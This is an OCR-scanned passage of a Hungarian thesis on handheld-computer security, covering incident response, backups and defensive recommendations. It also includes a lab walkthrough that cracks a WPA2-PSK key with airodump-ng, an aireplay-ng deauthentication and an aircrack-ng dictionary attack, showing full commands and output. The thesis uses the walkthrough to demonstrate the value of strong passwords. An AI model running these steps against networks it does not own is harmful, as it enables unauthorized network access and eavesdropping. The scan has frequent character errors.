stressz olyan dolgokra képes, amelyekkel csak rontani lehet a kialakult helyzeten.

Els6 1épésként tisztazni kell magunkban néhany keérdést:

e Val6ban tortént betorés? Azt a jelenséget, amit esetleg a betolakodo
jelenlétére utalo jelnek ételmeziink, eredményezheti egy software, vagy a
hasznalatbol eredd hiba is.

e ValGban tortént barmilyen karokozas?
e Fontos, hogy a rendszert minél hamarabb visszaallitsuk normal allapotaba?

(mert a tdmadas bizonyitasahoz esetleg szlikséges lesznek olyan adatok,
melyeket kdnnyen tordlhet egy rendszer visszaallitas)

2. lépés: Az esemény dokumentalésa!

Talan furcsanak hangzik, de sokat segithet a késébbiekben, ha egy a keziink ligyébe
keriilé papirlapra, feljegyezziik a torténéseket idérendi sorrendben. (mi tortént, mikor,
tdmadas jellege, stb) Ez eldsegithet abban, hogy megfeleléen tudjunk felkésziilni egy
hasonlo6 tamadasra a jovoben.
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3. 1épés: Ertesitési kotelezettség!

A tdmadasi esemény észlelésekor a biztonsagi felel6st és/vagy a kdzvetlen fonokot
kell értesiteni. Amennyiben megfeleléen voltak elvégezve a preventiv védelmi
eljarasok, és a felhasznaldi oktatas alkalmaval elsajatitott korabbi tAmadasok ismeretére
alapozva létrejott egy elhéritasi terv, akkor az ide vonatkozo biztonsagi elemeket kell
alkalmazni. Az értesitést célszerti fuggetlen kommunikacios eszkdz igenybe vételével
elvégezni. Ertelemszeriien, ha a kézi szamitogépet érte tamadas, akkor keriilni kell az
azon vald beszamolast a torténtekrdl, hiszen a tamadd olvashatja a kimené e-maileket,
és egyéb lzeneteket.

4. 1épés: A helyzet elemzése!

Természetesen, ha a készuléken tarolt informacid jellege azt megkivanja, akkor az
észleléskor azonnal meg kell szlintetni a halozati kapcsolatot, vagy egyszertien ki kell
kapcsolni a késziléket. Ez ugyan a behatolotdl valé megszabadulas legegyszeriibb
modja, de azzal jar, hogy félbeszakitja a gépunkdn folyd 6sszes munkafolyamatot és
esetleg adatvesztést is okoz az el nem mentett adatokban.

A detektiv védelmi intézkedésekkel megelézhetdek azok a nemkivanatos események,
amelyek lehetséges kdvetkezményei akar:

e Az informéacio megvaltozasat vagy elvesztéset;

e Az informécié (beleértve mindsitett adatokat is) illetéktelen kezekbe
kerulését;

e Személyek vagy csoportok j6 hirének karosodasat;
e Bizalomvesztést, és vagyoni veszteséget okozhat;

Azt mindenképpen szem el6tt kell tartani, hogy a legtdbb behatolds egy mar
kompromittalodott felhasznal6i jelszé kovetkezménye.

3.3 Korrektiv védelmi intézkedések

Amint azt megvizsgaltuk, az elharitd kontrollok szerepe az, hogy még id6ben
beavatkozzanak az esetleges rendellenes esemenyek folyasadba és kikiszoboljék az
abbol a késbébbiek soran felmeriil6 karokat. A korrektiv intézkedések célja a hibamentes
normalis allapot visszaéllitasa, a nem kivant esemény bekovetkezése utdn minél el6bb,
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valamint a felkészilési tevekenységek (pl. biztonsagi mentések, a katasztrofa elharitasi
terv) elvégzése.

Amennyiben nem sikeriilt a megel6zés, majd azt kdvetden az észlelés, és az észlelést
nem kovette megfelel6 iddben a reagalas, és igy a tamadas sikere részlegesen vagy
teljesen be is kdvetkezett, akkor 1ép szinre a fennmaradd fenyegetések ellen az elharito
kontroll.

Ezek az intézkedések részben az észleléshez is kothetOk, illetve a korrektiv
intézkedés eredmenyezhet a késébbiekben egy megeléz6 intézkedést. Ki kell
hangsulyozni azt, hogy az elharitd kontrollok a katasztrofa el6tti utolsod intézkedések
lehetnek, vagyis, ha egy rendszerben nincs beépitve, akkor a megel6zésbdl és az
¢észlelésbdl adodo eldnydk is csokkenhetnek a rendszer védelmében tett intézkedések
tekintetében.

A korrektiv intézkedések kdzé sorolhatdak a kovetkezok:

e Kivant allapotba hozas. Ez tdbbnyire valamilyen torléssel, Gjrainditassal
vagy el6z6 allapot visszaallitasaval oldhaté meg, mint példaul a virusirtas,
rendszer Ujrainditasa, rosszindulatu alkalmazas leallitasa, torlése.

e Modositas. Ide tartozik a jogosultsagok valtoztatadsa (jelszovaltoztatés,
hozzéferési jogok korlatozasa).

o Helyredllitds. A katasztrofaterv szerinti eljards kovetése, hogy a rendszer
szolgéltatdsai mieldbb rendelkezésre alljanak, de legalabb a karok kezelése
megtorténjen. A helyreallitds torténhet az adott eszkdzzel (mentésbol
visszatoltés), vagy tartalékrendszer igenybevételével.

3.4 Biztonsagi mentések

A biztonsagi mentés celja, hogy biztositsa az informacio és az adatfeldolgozé
szoftverek épségét és rendelkezésre allasat. Lényege a teljes, veszteségmentes
visszadllithatosdg. Minden adatmentésre alkalmazott eszkdz (szoftver, vagy hardver)
els6 tizembe helyezése elétt ki kel probalni az adat-visszadllitast egy méasik gépen, vagy
egy tesztkonyvtarban. A biztonsagi mentéseket megfelel6 szintt fizikai és kornyezeti
védelemmel ajanlatos ellatni Ugy, hogy a mentési médiadk az esetleges rongalddastol
meg legyenek kimélve. A mentések tipusa (pl. teljes vagy differencialt mentés) és a
gyakorisdga A&lljon aranyban a mentett adatok mindsitésével, fontossagaval. A
biztonsagi mentéskor létrejott adatok legalabb harom generacidjat ajanlott
visszamendlegesen megorizni.
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Az Uzletmenetet biztositdo adatok es szoftverek biztonsagi mentésenek idészakos
elkészitése, valamint ellenérzése alapveté biztonsagi kdvetelmeny.

3.4.1 Biztonsagi mentések készitése

A folyamatosan biztonsagi mentések készitésével, elkertilhet6 az adatvesztést okozd
jelenségek altal okozott karok jelentds része. A kézi szamitdgépek vilagaban a
biztonsagi mentést a kiilonb6z6 szoftvergyartok termékeivel lehet kényelmesen
megoldani, amiket akdr komplett csomagokban lehet megvasarolni.

Ezek egyike az SPB Backup és az SPB Clone nevezetii szoftver paros. Az elébbivel
biztonsagi méasolatot készithetiink a PDA- n talalhaté fajlokrol, beallitasokrol. Probléma
esetén pedig a program segitségével kdnnyedén visszaallithatoak a sériilt adatok.

Jelszavas titkositas mellett végezhetiink vele:

e Teljes biztonsagi mentést, ahol az dsszes rendszeradat, e-mail, dokumentum,
PIM adat mentésre kerdil.

e Szemelyre szabott mentést, ahol kivélaszthatd, hogy az eldbbi lehet6ségek
kozil mik azok, amelyeket menteni szeretnenk.

o Idozitett mentést, aminek esetében testre szabhatjuk, hogy a program a hét
melyik napjain, milyen idépontokban végezze el a biztonsagi mentést.

Természetesen az adatok biztonsdgi mentése, a minden PDA operécids rendszerén
elérhetd asztali szamitogéppel torténd szinkronizald kapcsolattal is megoldhat6. Ennek
alkalmazasa - fiiggetleniil az el6bb emlitett szoftveres adatmentéstdl - ajanlott, hiszen
igy fizikailag nem egy adathordozé eszkdzre keriil a mentett és a mentend6 allomany,
hanem két egymastdl fuggetlen helyen (a késziilék memoriakartyajan és az asztali
szamitdgép merevlemezén) keletkezik mentett adat, ami mar eleget tesz a biztonsagos
tarolas kovetelményének. Fontos megemliteni, hogy a biztonsagi masolat minden,
adatvédelmi szempontbdl érzékeny adatot tartalmaz, igy az archivum tarolasakor
ugyanolyan gondossaggal kell velik eljarni, mintha ,,éles” adatok lennének.

Az Spb Clone abban kulénbozik az Spb Backup-tdl, hogy az egész operacios
rendszerrél képes késziteni egy masolatot, ugynevezett klén allomanyt, amivel egy
Hard Reset utan is visszaallithatd a teljes rendszer. Ebbél a klonbol azutan egy mésik
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hasonlé tipusd (egy, vagy tobb) késziilékre is felmasolhatd, mintegy tiikrozheté az
allomany.

Lathatjuk tehat, hogy az elharitdé kontroll még helyrehozhatja a tamadas
kdvetkezmenyeit, akkor is, ha a tdmadas sikeres volt, de jelentdsebb karokozas nem
tortént.
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4. Fejezet

Mirél szol ez a fejezet?

Ebben a fejezetben meg szeretném vizsgalni azt a kockazatot, amit a vezeték nelkdli,
nyilt vagy gyenge titkositast hasznald halozat kiépités rejt magdban. A megfeleld
veédelem hianyaban a rendszer biztonsagi réseit kihasznélva a tdmadas hozzéaférhet a
tarolt adathoz, a jelszohoz, s ,,belehallgathat” a haldzati forgalomba.

4.1 Tamadasi forgatokoényv

Vizsgélatom forgatokonyve szerint egy vezetékmentes halozat felderitését, a
jelszavanak megszerzését, valamint az Gtvalasztd eszkdzhoz (router) csatlakozd kézi
szamitdgépe fontos adatait kisérelem megszerezni. A jelszd megszerzése arra is
ravilagit, hogy miért olyan fontos a biztonsagos jelsz6 megalkotésa.

A tamadast a BackTrack3 nevili programcsomag eszkozeivel hajtom végre, amely
ingyenesen letolthetd a készitok honlapjardl. Egy asztali szamitogéprdl hajtom végre a
tdmadast, ami teljesen fiiggetlen a routertdl, és az aldozat szerepét betoltd kézi
szamitogéptol. A vezetékmentes haldzat elérését, lehallgatasat és a csomagok elfogésat
egy beépitett halozati kartya segiti.

Mint az a (2.2.2.2) ,,A vezetékmentes halozatok fenyegetései” - cimii fejezetrészbol
kideriil, a WEP titkositds mar elavult, konnyedén feltorhetd, ezért én a manapsag
legbiztonsagosabbnak tartott titkositds kulcsanak megszerzésére torekszem. A
védelemhez egy 13 karakterbdl 4116 jelszot valasztottam, ami tartalmaz kis és nagybetiit,
valamint szamot.

A jelszé a kovetkezo: Gyengelelszol A titkositas: WP2-PSK

A tdmadas a kovetkezd 1épések sorrendjében torténik:

e A haldzat felderitése és a célpont azonositasa.
e Az (tvalaszto és a célpont kozotti csomagok megszerzése.

e Az elfogott adatcsomagokbol szétaras mddszerrel kinyerjik a kulcsot.
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A tdmadas megkezdésekor feltételezzlik, hogy a tAmadonak semmilyen informéacié

nem all rendelkezésére a haldzat kiépitésérdl, jelszavarol, igy mintegy ,,vakon” végzi a

tamadast.

4.1.1 A héal6zat felderitésére szolgal6 eszk6zok bemutatasa

Azokat a szoftver és hardver eszkdzoket tekinthetjiik meg az 6. tdblazatban, amelyek
a vizsgalat elvégzéséhez sziikségesek.

Eszk6z neve Leirasa

BackTrack3 (Linux)

A legljabb biztonsagi szoftver csomag, amit egyarant hasznalnak
elészeretettel a tamadasokhoz éppugy, mint biztonsagi szakemberek a hibak
felderitéséhez. Egyszert, telepitést nem igényel, hiszen az elemzési platform
kozvetleniil egy cd lemezrdl indithato el €s perceken beliil teljesen
hozzaférheté (4.n LiveCD, vagyis telepités nélkiil boot*2-olni képes).

Jelenleg BackTrack 300-nal tobb olyan kiilonbdz6, naprakész eszkozt
tartalmaz, amiket a biztonsagi szakértok munkafolyamata szerint strukturaltak.
Ezen kivil még szdmos program all rendelkezésre egy tdmadas
kivitelezéséhez, azonban hosszabb el6zetes vizsgalat utan ennek a
programcsomagnak a hasznalatat tartom a feladat elvégzésére alkalmasnak.

Beszerzési forras: http://www.remote-exploit.org/backtrack download.html

Airodump | _ A WiFi halozat felderitésére és lehallgatasara alkalmas program.
[15]
€
Aireplay § A feladata a csomagok elfogasa és hal6zatba val6 visszakiildése. Ezzel az
) o eszkozzel fogjuk el az aldozat és a hozza kapcsol6do router kozotti forgalmat,
[72]
g e az ARP* csomagokat, melyekbol kinyerhetd a kulcs.
|_
X
Aircrack | & A kulcs feltorésére alkalmas szoftver.
M
Szétar A jelsz6 megfejtéséhez a http://www.passwords.ru/ és az

ftp://ftp.ox.ac.uk/pub/wordlists/hungarian/ weboldalakrél beszerezhetd
szétarfajlokat hasznaltam.

Utvalaszté eszkoz

Linksys WRT54G Wireless-G Broadband Router

Halbzati kartya

D-Link AirPlus Xtreme G DWL-G520 Adapter

* A szamitastechnikéban a boot egy tobb részbél 4116 folyamat, melynek soran az operacios rendszer

beindul.

** MAC address és IP — cimeket tartalmazé adatcsomag.
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Kézi szamitogép ASUS MYPAL PocketPC A696 (Wondows Mobile 6.0 magyar nyelvii
(aldozat) operécios rendszer)

Asztali szamitégép Intel(R) Core(TM)2 Duo CPU E8200@2.66GHz, 2 mag
(tdmado)

Internet Ez az eszkdz talan a legfontosabb mind kdzil, hiszen innen szerezhet6 be a
tdmadas elvégzéséhez a legtobb, barki szamara elérhetd informacio.

6. tablazat A vizsgélat soran alkalmazott eszk6zok.

41.2 Betorés a vezeték nélkuli halézatba

A tdmadas megkezdése el6tt (izembe helyezzik a tdmado és az aldozat szerepét
betolté késziilékeket, valamint létrehozzuk a router és a kézi szamitdgep kozotti
vezetékmentes kapcsolatot. A LiveCd-t behelyezzilk az asztali szamitogép CD-ROM
meghajtojaba és végigvarjuk a boot folyamatot. A bejelentkezést kdvetden a talcarol
elérhet6 Shell-konzolt megnyitjuk. Ezen keresztil fogjuk a parancsokat begépelni, és itt
kisérjiik figyelemmel a program folyasat, valamint a konzol segitségével ellendrizziik
majd a tdmadas kimenetelét. A hasznalt parancsoknak van egy altalanos szintaktikaja,
amit az alabbi tablazatban tekinthetiink meg:

A parancsok altalanos felépitése ...

A sorrendiség megtartasaval:

[ program meghivasa ] < alprogram meghivasa > ( feladat ) / eszkoz /

Példaul:

[ airmon-ng ] <nincs alprogram> ( stop ) / wlan0 /

7. tablazat Shell parancs felépitése.

Az elsé parancs azért sziikséges, hogy megallitsuk a halozati adapter vezetékes
mitkodési modjat. Ehhez az airmon-ng stop wlan0 parancssort gépeljuk be, majd a
kovetkez6 1épésben az airmon-ng start wifi0 parancssorral bekapcsoljuk a
vezetékmentes madot, a vizsgalat megkezdéséhez. Az utasitasokat piros nyillal emelve
ki a kimenetét az alabbi abran lathatjuk:
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Shell - Konsole mE®
-

bt ~ # airmon-ng stop wlan? <G

Interface Chipset Driver

wifid Atheros madwifi-ng

ath@ Atheros madwifi-ng VAP (parent: wifid)
athl Atheros madwifi-ng VAP (parent: wifid)

bt ~ # airmon-ng start wifio <(ummmm

Interface Chipset Driver

wifif Atheros madwifi-ng

atho Atheros nadwifi-ng VAP (parent: wifif)

athl Atheros madwifi-ng VAP (parent: wifid)

ath2 Atheros madwifi-ng VAP (parent: wifi@) (monitor mode enabled)
bt ~# 1

9. dbra A haldzati adapter lizemmaddjainak ki/be kapcsolasa.

Amennyiben nem kaptunk hibatizenetet akkor a halozati kartya készen all. Ezutan az
airodump-ng athl parancs meghivasa kdvetkezik, mellyel a WiFi halézatot tudjuk
megkeresni, majd adatokat rogziteni vele egy fajlban. A parancs elvégzése utan a
kovetkezd, szamunkra fontos adatokhoz jutunk:

Shell - Konsole

CH 12 1[ Elapsed: 4 s ][ 2009-01-04 18:11
BS5ID PWR  Beacons #Data, #/s | CH | MB |ENC |CIPHER| AUTH ESSID
00:16:B6:E7:91:05( 42 25 a 0| 11 | 54. |[WPAZ |CCMP | PSK  fedora

BSSID STATLON PWR  Rate Lost Packets Probes

=

[4]»

10. 4bra Az airodump Aaltal talalt halézati kapcsolat.

A piros kerettel kiemelt adatok leirdsat megtaléljuk a 8. tablazatban.
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Név Leiras

Az (tvélaszto MAC address-e.
BSSID
(00:16:B6:E7:91:05)
CH A csatorna, amelyiken a kommunikacio folyik.
(jelen esetben a 11-es)
ENC A titkositas. (WPA2)
A titkositas kulcsanak tipusa. (PSK - elére
AUTH
megosztott kulcs)
A vezetékmentes halozat elnevezése. (a routerben
ESSID Lo
beallitott)

8. tablazat Az airodump altal megjelenitett adatok.

Az igy megszerzett adatok birtokaban elvégezzilk az airodump-ng -c 11 -w adatok
--bssid 00:16:B6:E7:91:05 athl begéepelésével a fontos informacidk fajlba mentesét.

Nézzlik meg részletesebben ezt a parancsot:

Parancs Feladata

airodump-ng Meghivja a programot ami lementi a csomagokat, amiket majd az
aircrack program tud felhasznalni a jelszo megszerzéséhez.

-c11 Kivalasszuk a csatornat, ahol a kommunikécio folyik.

-w adatok Létrehozzuk az ,adatok” nevil fajlt .cap és .txt kiterjesztéssel (egy
alapértelmezett mappaba kerdl).

--bssid A router MAC addresse. A rajta keresztiil kapcsolatban 1év6 eszkozok
00:16:B6:E7:91:05 megkeresése.
athl A tdmado gép haldzati kartyajanak elérése.

9. tablazat A kibévitett airodump parancs.

A parancssor lefutdsdnak eredménye a 11. abran lathatd. Itt méar megjelenik a
halozathoz csatlakoztatott kézi szamitdgep MAC address-e is a STATION oszlopban.
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Shell - Konsole <2>

CH 11 ][ Elapsed: 36 s ][ 2009-01-04 10:13

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:16:B6:E7:91: 85 58 100 381 13 0 11 54. WPAZ CCMP PSK  fedora
BSSID STATION PWR  Rate Lost Packets Probes

00:16:B6:E7:91:05 (00:23:54:06:F0:81| 56 @- 2 ] 31

PDA MAC address.

11. 4bra Megjelentek a kapcsolé6dé PDA adatai.

Idaig eljutva is mar értékes informaciokhoz jutottunk. Ezutan az aireplay-ng -0 1 -a
00:16:B6:E7:91:05 -c 00:23:54:06:F0:81 athl parancs segitségével elfogjuk a jelsz6
megszerzéséhez elengedhetetlen csomagokat. A program az alabbi feladatokat hajtja
veégre nekink:

Parancs Feladata

aireplay-ng Csomag elfogésa a halézathdl.

-01 A hozzaférés elinditasanak alprogramja.

-a00:16:B6:E7:91:05 A router (MAC address szerint azonositva)...

-c 00:23:54:06:F0:81 és az aldozat PDA (MAC address szerint azonositva) adatforgalma
kozotti csomagok megszerzése.

athl A tdmad6 gép héaldzati kértyajanak elérése.

10. tablazat A halézati csomagok megszerzéséhez sziikséges parancs.

Az aireplay program hasznalataval a router és a PDA kozotti csomagok elfogasat
vegeztik el. A kimenetet és a sikeres végrehajtast a 12. abran lathatjuk.
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Shell - Konsole <2>

CH 11 ][ Elapsed: 2 mins 1[ 2009-01-04 10:15 ][|'.\'PA handshake: 00:16:B6:E7:91:05

BS5ID PWR RXQ Beacons #Data, #/s CH MB ENC CIFHER AUTH ESSID
60:16:B6:E7:91:05 59 100 1518 197 @ 11 54, WPAZ CCMP  PSK fedora
BSSID STATION FPWR Rate Lost Packets Probes
00:16:B6:E7:91:05 00:23:54:06:F0:81 49 54-54 ] 240

12. abra Az aireplay parancs lefutasa utan megjelené kapcsolat.

A jelszd megszerzéséhez mar csak egyetlen parancsot kell megadni, az aircrack-ng
-w allwords.txt -b 00:16:B6:E7:91:05 adatok*.cap sor begépelésével. Ekkor elindul
egy keresési folyamat, melynek soran az allwords.txt nevil f4jlbol (ami egy password

dictionary) a program azonossagokat keres.

Parancs Feladata

aircrack-ng A jelsz6 megszerzését végzi.
-w allwords.txt Az itt megadott fajlbol keresi ki az egyezéseket....

-b 00:16:B6:E7:91:05 a router (MAC address szerint azonositva) és az aldozat PDA kozotti
adatforgalombdl eltarolt csomagjait 6rz6 fajl segitségével.

adatok*.cap

11. tablazat Az aircrack program sziikséges parancsai a jelszé toréséhez.

A helyes jelszo megvalasztasa sorsdontd, mert a rosszul megvalasztott jelszo
segitségével a tAmadd hozzafér a halézathoz, és azon keresztiil a r4 kapcsolodd kézi
szamitdgéphez és egyéb eszkozokhoz.
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A keresés végeredmeényeét a 13. abra ismerteti:

Shell - Konsole <2>

Aircrack-ng 1.0 rcl rl@ss

[00:00:37] 14982 keys tested (404.22 k

KEY FOUND! [ Gyengelelszol ]

Master Key

Transcient Key

EAPOL HMAC - 69 @ C 85 1B FC 95

13. abra A jelsz6 megfejtése.

Mint lathatjuk, hidba adtunk meg megfeleld hosszusagu, kis és nagybetiit, valamint

=77

szOtéras toréssel kinyerhetd a csomagokban megbuvo hozzéaférést biztosito jelszo.

A tdmadasnak van még egy veszélye, hiszen megmutatja az aldozat PDA MAC
addressét. Ennek birtokdban a MAC sziirést alkalmazo halozatba mar barmikor képes
bejutni a tdmado, hiszen a haldzat résztvevoi felé hamis MAC cim kildésével és a
feltort jelszd megadéséval ,,jogosulttd” valik annak hasznélatéra.

Természetesen megvizsgaltam azt is, hogy mi torténik akkor, ha olyan jelszot
hasznalunk a kommunikacio titkositasara, ami megfelel a biztonsagos jelszd
kritériumanak. Ehhez elobb modositottam a jelszot az utvalasztd Wireless Security

elnevezésili paneljén a kovetkezdképpen:
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LINKSYS®

A Division of Cisco Systems, Inc. Firmware in; w7004

Wireless-G Broadband Router WRT546G

Applications
& Gaming

Wireless

Wireless Security

Wireless Seourity AC Filtar |

Wireless Securit
Security Mode: You may

| Security Made; [WPazZ Personal =] ;h.:::: :Ifﬂwp'i';:t':-r;‘r’i:':
WPA Algarithms: | TKIP-+AES ¥ \'E'\:‘P‘:f:i::' %’:gl\g:ﬁ o

WPA Shared Key: IAkSZIJL&L deyices on your netwark

same securlty
Group Key Renewal |36E|E| seconds

14. abra A biztonsagos jelsz6 beallitasa a routeren.

Az Uj jelszot a mar megismert ,,A kézi szamitdgépek biztonsaga elsddleges és
Iényeges.” - mondath6l képeztem. Az el6zGekben bemutatott eljarasokat tjfent
elvégezve a 15. abrén lathato eredményt értékelhetem ki:

- Konsole <4> A

Alrcrack-ng 1.9 rcl rless

[60:00:34] 15022 keys tested (425.75 k/s)

Current passphrase: zsufolni 1

Master Key . 50 42 CE 82 B6 8F 23 0D 6B 85 2C 1C FC E3 83 CF
69 77 96 EO CB 8A DF 4F AE C7 7B D9 50 FC 38 AE

Transcient Key : BE D4 0A 18 F6 C4 E5 6D 78 (0 33 D4 82 7B EO 76
5C DF 9A 60 AE 27 75 B@ 4F AA 5F F1 CC EA 5E 36
86 B9 78 75 47 3D 65 (6 BA EB 90 56 EO 63 48 97
9C E8 2D AE D7 E4 70 F2 80 F1 38 87 EO DA 1E DA
EAPOL HMAC . OF 9D 81 8C 45 14 04 BD 64 B2 FE D4 09 07 8C A2

Passphrase not in dictionnary

Quitting aircrack-ng...

0

15. abra A biztonsagos jelsz6t nem tudja megfejteni.

Mire kdvetkeztethetlink ebbdi?

Arra, hogy a kulcs megszerzésére csak akkor valik lehetéség, amikor értelmes
szavakbol, szotari szavakbdl allitottuk 6ssze, és nem vettiik figyelembe, hogy a WPA2-
PSK titkosités torése a gyengén megvalasztott jelszavak esetében ugyanugy sikerilhet,
mint az elavult és ezért hattérbe szorult WEP titkositasnal.
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4.2 Biztonsagi ajanlasok

Az el6z6 fejezetek soran megismerkedtiink a kézi szamitogépek tortnetével, fejlodési
irdnyaival, valamint az Oket fenyegetd veszélyforrasokkal és a sebezhetdségeikbol
adodoé biztonsagi gyengeségeikkel. Megvizsgaltuk, milyen tdmadéasoknak vannak kitéve
ezek az eszkdzOk és a védekezési intézkedések hogyan, milyen moédon tudjak
befolyasolni a timadasok kimenetelét.

Itt most néhany olyan ajanlas kerul felsorolasra, amelyeknek a betartasaval
csOkkentheto a kézi szamitogépek biztonsagi kockazata.

Az ajanlasokat harom kategoriara bonthatjuk fel:

Technoldgiai, Hasznalati, Szabalyzati.

Technoldgiai ajanlasok:

Ide soroljuk azokat a tanacsokat, melyek a késziilék biztonsdgos munkavégzésének a
feltételei.

o Az eszkoz alapértelmezett beallitdsainak megvaltoztatasa!
e A késziiléken hasznalt szoftvereinek ellendrzott telepitései €s beallitasai.

o Megfelelden erds jelszavas védelem kialakitdsa, mind a késziilék, mind a
haldzat hasznalatanak vonatkozasaban!

o Az ellendrzott frissitések szakszerii telepitése!
Miikodtetéssel kapcsolatos ajanlasok:

A mindennapi hasznéalattal, és a kommunikécidval foglalkozo ajanlasok.

e Soha ne csatlakozzunk Ismeretlen halézatokhoz!

e Amennyiben nincs ra feltétlenul sziikség, a Bluetooth kapcsolatot inaktivva
kell tenni.

e A vezetékmentes kapcsolat kiépitését, csak megfeleld titkositds utan
engedélyezzik!
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e Hasznaljunk biztonsagi szoftvereket! (virusirtét, felhasznaldi jogosultsagot

kezeld, biztonsagi mentést segitd szoftverek)
e Rendszeresen frissités ellendrzés!

o Az eszkozhoz valdo hozzaférést megfeleld jelszavas védelemmel kell
szabalyozni. (Eltulajdonitas)

e Ahol csak lehetséges és az adat titkositas ezt megkoveteli, alkalmazzunk
felhasznald hitelesitést! (tudas-, birtok-, biometria alapi azonositas)

e A cég kozpontjaval folytatott vezetékmentes kommunikacié soran
hasznaljunk olyan titkositési es hitelesitési megoldasokat, melyek biztositjak
az adatok sertetlenségét, bizalmassagéat és rendelkezésre &llasat! (megoldéast
jelenthet a VPN hasznélata)

Szabalyzati ajanlasok:
A Kkategoria olyan intézkedeseket foglal magaban, amelyek iranyelvet nyujthatnak

egy cég altal hasznalt kézi szamitdgep eszkdzallomany biztonsagos kezeléséhez.

* A felhasznalok megfeleld szintli képzése a vezeték nélkiili halozatok ¢és a
késziilékek biztonsdgos hasznalatara, valamit az elsajatitott tudas szinten tartdsanak
biztositasa, szdmonkérése!

» Biztonsagi szabalyzat létrehozdsa, vagy Kiterjesztése a kézi szamitogépek
hasznélatara!

» Kockézatelemzés a fenyegetettség mértékének megismerésére! (Rendszeres
1dékozonkénti feliilvizsgalattal.)

o A felhaszndloknak a hasznalatra vonatkozé jogainak és kotelezettségeinek a
meghatarozasa!

» Pontos dokumentacio vezetése a meglévé kézi szamitdgépekrdl. (biztonsagi
frissitések, felhasznaldk adatai, karbantartasok, stb...)
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Osszefoglalas

Amint azt lathattuk, a nem megfeleléen védett kézi szamitogep hasznélata egyre
veszélyesebb. Eletiink, munkank soran segitségre lehetnek, de kart is okozhat a feliiletes
hasznélatuk. Ezeknek az eszkdzoknek az elonyeit akkor tudjuk igazén kihasznalni, ha
naluk is képesek vagyunk megvaldsitani az asztali szamitdgépeknél szokasos biztonsagi
szintet. Ez persze nem konny( feladat, de betartva néhanyat az ajanlott 1épésekbdl,
melyek novelik e késziilékek biztonsagat, szamottevoen megnehezithetd egy tamadas
sikeressége. Az el6z6 fejezetekben utadna jartunk annak, hogy képesek lehetiink-e
megvédeni a késziléket és a rajta tarolt informaciot. Megvizsgaltuk a legjellemzébb
sebezhetdségeit, a leggyakoribb fenyegetéseket, és az elleniik alkalmazhaté védekezési

lehetdségeket.

Bizonyara felvetddik a kérdés, hogy meddig lehet fokozni, el lehet-e érni a tokéletes
biztonsagot? A valasz egyértelmiien nem! A biztonsdg egy olyan allapot, melyben a
kockazat minimalizalasaval parhuzamosan csokkentjik a fenyegetést. A teljes biztonsag
allapota bizonyos rendszerek - mit példaul a felhasznalo - kizarasat kellene, hogy
eredményezze, akkor pedig a miikodésének lényegét veszitené el a készllék. A
gyartoknak és a fejlesztoknek torekedniiik kell a biztonsdgos megoldasok folyamatos
fejlesztésével a felhasznalok alapveté hibainak a kisziirésére csakigy, mint az egyeb
tdmadasok hatékony elharitasara.

Addig azonban, amig mi felhasznalok nem tartjuk magunkat egy - akar sajat magunk
altal elfogadott - biztonsagi szabalyrendszerhez, amig nem véltozik a hozzaallasunk a
kézi szamitdgépink biztonsdgos miikodtetésével kapcsolatban, addig mindig
célpontjaiva valhatunk a tamadasoknak.

Elérte a dolgozat a céljat? Megvaltozott az olvasonak a hozzaallasa a kézi
szamitdgépének biztonsagban betdltott szerepéhez? Amennyiben legalabb egy gondolat
erejéig foglalkozott a biztonsadgos haszndlattal, akkor mindenképpen, hiszen elindult
azon uton, melyen minden egyes lépéssel kdzelebb kertl a kielégité biztonsaghoz.
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Mellékletek

1. Szamu melléklet.

A PDA vezetékmentes kapcsolatanak beallitasi Iépései:

Beallitasok %» 4€ 16:22

| vezetéknélkiili halézat beallitasai

| Csatlakozas: he Internet v

Ez eqgy rejtett haldzat

Mégse

Beallitasok

Halézati hitelesités beallitasa

| Hitelesites: [WPaz-psi -|
| Adattitkositas: [_&55 7|

(LY

Halozati kulcs: l*******wﬂ:wmww

Yissza

Beallitasok

| Halbzati hitelesités besllitésa

‘HI}EEEFM‘ LIk hogearenes

EsE by ) I.‘ﬂ" o Mt = -

Al

Yissza
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2. Szamu melléklet

A Bluetooth bedllitdsanak Iépései.

th-beal T 5, 4< 16

OO:1E:8C:EF:71:8D
PC késziléknéy hasendlatal

Seolgaltatas bekapcsolasa?

Engedély szikséges

Hitelesités (kulcs) saukseges
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